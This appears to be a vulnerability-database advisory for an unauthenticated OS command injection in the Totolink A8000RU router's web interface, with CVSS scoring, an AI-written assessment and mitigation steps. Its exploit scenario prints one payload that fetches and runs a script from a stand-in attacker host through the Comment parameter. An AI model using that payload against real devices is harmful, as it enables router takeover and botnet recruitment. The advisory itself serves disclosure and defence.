EUVD-2026-31708
GHSA-25hv-9wxj-cgm5
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. This affects the function setIpQosRules of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. This manipulation of the argument Comment causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.
AnalysisAI
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attackers to execute arbitrary operating system commands via the Comment parameter handled by the setIpQosRules function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists and the SSVC framework rates the technical impact as total with automatable exploitation, though no public exploit identified at time of analysis as actively exploited in the CISA KEV catalog. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions required to exploit the web interface itself - the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms unauthenticated remote exploitation against the default-installed Web Management Interface of Totolink A8000RU firmware 7.1cu.643_b20200521 via a single HTTP request to /cgi-bin/cstecgi.cgi with a malicious Comment parameter to setIpQosRules. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are largely consistent and point to a real, actionable risk: the CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H scores 8.9 because exploitation requires only network reach to the web interface with no authentication, no user interaction, and yields full confidentiality, integrity, and availability impact on the device. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker reachable to the router's web interface - for example via WAN if remote admin is enabled, or from a compromised LAN host - sends a crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setIpQosRules with a Comment value containing shell metacharacters such as `;wget http://attacker/x.sh|sh`. Because a public exploit write-up is hosted on GitHub (Litengzheng/vuldb_new2), unauthenticated mass scanning and automated weaponization are realistic, particularly for botnet operators recruiting SOHO devices. |
| Remediation | No vendor-released patch identified at time of analysis - the references include the vendor homepage (https://www.totolink.net/) and the VulDB advisory (https://vuldb.com/vuln/365456) but no fixed firmware version. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Identify all A8000RU routers running firmware 7.1cu.643_b20200521 or earlier; implement firewall rules to restrict external access to management interfaces; enable detailed logging on affected devices. …
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External POC / Exploit Code
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